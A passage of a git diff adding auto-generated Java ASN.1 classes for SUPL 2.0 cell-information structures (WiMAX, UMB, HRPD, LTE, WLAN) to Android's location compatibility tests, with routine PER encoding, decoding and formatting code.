+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSecondsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UmbCellInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
new file mode 100755
index 0000000..f971990
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
@@ -0,0 +1,499 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Ver2_CellInfo_extension extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_Ver2_CellInfo_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "Ver2_CellInfo_extension: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public Ver2_CellInfo_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_CellInfo_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_CellInfo_extension != null) {
+ return ImmutableList.of(TAG_Ver2_CellInfo_extension);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_CellInfo_extension from encoded stream.
+ */
+ public static Ver2_CellInfo_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_CellInfo_extension result = new Ver2_CellInfo_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_CellInfo_extension from encoded stream.
+ */
+ public static Ver2_CellInfo_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_CellInfo_extension result = new Ver2_CellInfo_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $HrpdCell(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new HrpdCellInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HrpdCellInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $UmbCell(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new UmbCellInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UmbCellInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $LteCell(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new LteCellInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LteCellInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $WlanAP(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new WlanAPInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $WimaxBS(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new WimaxBSInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxBSInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isHrpdCell() {
+ return !hasExtensionValue() && Select.$HrpdCell == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isHrpdCell}.
+ */
+ @SuppressWarnings("unchecked")
+ public HrpdCellInformation getHrpdCell() {
+ if (!isHrpdCell()) {
+ throw new IllegalStateException("Ver2_CellInfo_extension value not a HrpdCell");
+ }
+ return (HrpdCellInformation) element;
+ }
+
+ public void setHrpdCell(HrpdCellInformation selected) {
+ selection = Select.$HrpdCell;
+ extension = false;
+ element = selected;
+ }
+
+ public HrpdCellInformation setHrpdCellToNewInstance() {
+ HrpdCellInformation element = new HrpdCellInformation();
+ setHrpdCell(element);
+ return element;
+ }
+
+
+
+ public boolean isUmbCell() {
+ return !hasExtensionValue() && Select.$UmbCell == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isUmbCell}.
+ */
+ @SuppressWarnings("unchecked")
+ public UmbCellInformation getUmbCell() {
+ if (!isUmbCell()) {
+ throw new IllegalStateException("Ver2_CellInfo_extension value not a UmbCell");
+ }
+ return (UmbCellInformation) element;
+ }
+
+ public void setUmbCell(UmbCellInformation selected) {
+ selection = Select.$UmbCell;
+ extension = false;
+ element = selected;
+ }
+
+ public UmbCellInformation setUmbCellToNewInstance() {
+ UmbCellInformation element = new UmbCellInformation();
+ setUmbCell(element);
+ return element;
+ }
+
+
+
+ public boolean isLteCell() {
+ return !hasExtensionValue() && Select.$LteCell == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isLteCell}.
+ */
+ @SuppressWarnings("unchecked")
+ public LteCellInformation getLteCell() {
+ if (!isLteCell()) {
+ throw new IllegalStateException("Ver2_CellInfo_extension value not a LteCell");
+ }
+ return (LteCellInformation) element;
+ }
+
+ public void setLteCell(LteCellInformation selected) {
+ selection = Select.$LteCell;
+ extension = false;
+ element = selected;
+ }
+
+ public LteCellInformation setLteCellToNewInstance() {
+ LteCellInformation element = new LteCellInformation();
+ setLteCell(element);
+ return element;
+ }
+
+
+
+ public boolean isWlanAP() {
+ return !hasExtensionValue() && Select.$WlanAP == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isWlanAP}.
+ */
+ @SuppressWarnings("unchecked")
+ public WlanAPInformation getWlanAP() {
+ if (!isWlanAP()) {
+ throw new IllegalStateException("Ver2_CellInfo_extension value not a WlanAP");
+ }
+ return (WlanAPInformation) element;
+ }
+
+ public void setWlanAP(WlanAPInformation selected) {
+ selection = Select.$WlanAP;
+ extension = false;
+ element = selected;
+ }
+
+ public WlanAPInformation setWlanAPToNewInstance() {
+ WlanAPInformation element = new WlanAPInformation();
+ setWlanAP(element);
+ return element;
+ }
+
+
+
+ public boolean isWimaxBS() {
+ return !hasExtensionValue() && Select.$WimaxBS == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isWimaxBS}.
+ */
+ @SuppressWarnings("unchecked")
+ public WimaxBSInformation getWimaxBS() {
+ if (!isWimaxBS()) {
+ throw new IllegalStateException("Ver2_CellInfo_extension value not a WimaxBS");
+ }
+ return (WimaxBSInformation) element;
+ }
+
+ public void setWimaxBS(WimaxBSInformation selected) {
+ selection = Select.$WimaxBS;
+ extension = false;
+ element = selected;
+ }
+
+ public WimaxBSInformation setWimaxBSToNewInstance() {
+ WimaxBSInformation element = new WimaxBSInformation();
+ setWimaxBS(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "Ver2_CellInfo_extension = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
new file mode 100755
index 0000000..1826282
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WimaxBSInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WimaxBSInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WimaxBSInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WimaxBSInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WimaxBSInformation != null) {
+ return ImmutableList.of(TAG_WimaxBSInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WimaxBSInformation from encoded stream.
+ */
+ public static WimaxBSInformation fromPerUnaligned(byte[] encodedBytes) {
+ WimaxBSInformation result = new WimaxBSInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WimaxBSInformation from encoded stream.
+ */
+ public static WimaxBSInformation fromPerAligned(byte[] encodedBytes) {
+ WimaxBSInformation result = new WimaxBSInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WimaxBsID wimaxBsID_;
+ public WimaxBsID getWimaxBsID() {
+ return wimaxBsID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxBsID
+ */
+ public void setWimaxBsID(Asn1Object value) {
+ this.wimaxBsID_ = (WimaxBsID) value;
+ }
+ public WimaxBsID setWimaxBsIDToNewInstance() {
+ wimaxBsID_ = new WimaxBsID();
+ return wimaxBsID_;
+ }
+
+ private WimaxRTD wimaxRTD_;
+ public WimaxRTD getWimaxRTD() {
+ return wimaxRTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxRTD
+ */
+ public void setWimaxRTD(Asn1Object value) {
+ this.wimaxRTD_ = (WimaxRTD) value;
+ }
+ public WimaxRTD setWimaxRTDToNewInstance() {
+ wimaxRTD_ = new WimaxRTD();
+ return wimaxRTD_;
+ }
+
+ private WimaxNMRList wimaxNMRList_;
+ public WimaxNMRList getWimaxNMRList() {
+ return wimaxNMRList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMRList
+ */
+ public void setWimaxNMRList(Asn1Object value) {
+ this.wimaxNMRList_ = (WimaxNMRList) value;
+ }
+ public WimaxNMRList setWimaxNMRListToNewInstance() {
+ wimaxNMRList_ = new WimaxNMRList();
+ return wimaxNMRList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getWimaxBsID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWimaxBsID();
+ }
+
+ @Override public void setToNewInstance() {
+ setWimaxBsIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxBsID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wimaxBsID : "
+ + getWimaxBsID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getWimaxRTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWimaxRTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setWimaxRTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxRTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wimaxRTD : "
+ + getWimaxRTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getWimaxNMRList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWimaxNMRList();
+ }
+
+ @Override public void setToNewInstance() {
+ setWimaxNMRListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMRList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wimaxNMRList : "
+ + getWimaxNMRList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WimaxBSInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBsID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBsID.java
new file mode 100755
index 0000000..a736008
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBsID.java
@@ -0,0 +1,449 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WimaxBsID extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WimaxBsID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WimaxBsID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WimaxBsID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WimaxBsID != null) {
+ return ImmutableList.of(TAG_WimaxBsID);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WimaxBsID from encoded stream.
+ */
+ public static WimaxBsID fromPerUnaligned(byte[] encodedBytes) {
+ WimaxBsID result = new WimaxBsID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WimaxBsID from encoded stream.
+ */
+ public static WimaxBsID fromPerAligned(byte[] encodedBytes) {
+ WimaxBsID result = new WimaxBsID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WimaxBsID.bsID_MSBType bsID_MSB_;
+ public WimaxBsID.bsID_MSBType getBsID_MSB() {
+ return bsID_MSB_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxBsID.bsID_MSBType
+ */
+ public void setBsID_MSB(Asn1Object value) {
+ this.bsID_MSB_ = (WimaxBsID.bsID_MSBType) value;
+ }
+ public WimaxBsID.bsID_MSBType setBsID_MSBToNewInstance() {
+ bsID_MSB_ = new WimaxBsID.bsID_MSBType();
+ return bsID_MSB_;
+ }
+
+ private WimaxBsID.bsID_LSBType bsID_LSB_;
+ public WimaxBsID.bsID_LSBType getBsID_LSB() {
+ return bsID_LSB_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxBsID.bsID_LSBType
+ */
+ public void setBsID_LSB(Asn1Object value) {
+ this.bsID_LSB_ = (WimaxBsID.bsID_LSBType) value;
+ }
+ public WimaxBsID.bsID_LSBType setBsID_LSBToNewInstance() {
+ bsID_LSB_ = new WimaxBsID.bsID_LSBType();
+ return bsID_LSB_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsID_MSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsID_MSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsID_MSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxBsID.bsID_MSBType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsID_MSB : "
+ + getBsID_MSB().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsID_LSB() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsID_LSB();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsID_LSBToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxBsID.bsID_LSBType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsID_LSB : "
+ + getBsID_LSB().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bsID_MSBType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_bsID_MSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bsID_MSBType() {
+ super();
+ setMinSize(24);
+setMaxSize(24);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bsID_MSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bsID_MSBType != null) {
+ return ImmutableList.of(TAG_bsID_MSBType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bsID_MSBType from encoded stream.
+ */
+ public static bsID_MSBType fromPerUnaligned(byte[] encodedBytes) {
+ bsID_MSBType result = new bsID_MSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bsID_MSBType from encoded stream.
+ */
+ public static bsID_MSBType fromPerAligned(byte[] encodedBytes) {
+ bsID_MSBType result = new bsID_MSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
